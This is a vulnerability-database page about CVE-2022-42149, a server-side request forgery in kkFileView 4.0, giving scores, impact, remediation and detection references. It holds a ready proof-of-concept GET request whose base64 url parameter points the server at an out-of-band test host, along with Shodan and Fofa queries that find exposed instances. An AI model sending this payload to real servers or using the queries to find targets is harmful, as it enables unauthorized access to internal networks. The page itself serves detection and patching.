🔙 목록으로 돌아가기

CVE-2022-42149: kkFileView 4.0 - Server-Side Request Forgery

TitlekkFileView 4.0 - Server-Side Request Forgery
AuthorArm!tage
SeverityCritical
ImpactUnauthenticated attackers can exploit SSRF to make the server fetch arbitrary URLs, potentially accessing internal services, bypassing firewall restrictions, and exfiltrating sensitive data from internal networks.
RemediationUpdate kkFileView to a version newer than 4.0 that properly validates URL parameters and restricts requests to trusted sources.
CVSS Score9.8
EPSS Score0.42841
CVE IDCVE-2022-42149
CWE IDCWE-918
Shodan Queryhttp.html:"kkFileView"http.html:"kkfileview"
Fofa Queryapp="kkFileView"app="kkfileview"body="kkfileview"
Tags cve cve2022 ssrf kkfileview keking vuln

🔍 Vulnerability Description

kkFileView 4.0 contains a server-side request forgery caused by improper validation in OnlinePreviewController.java, letting attackers induce the server to make arbitrary requests, exploit requires sending crafted requests.

🌐 HTTP Request

GET /onlinePreview?url=aHR0cDovL29hc3QuZnVuL3JvYm90cy50eHQ= HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-42149.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-42149.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A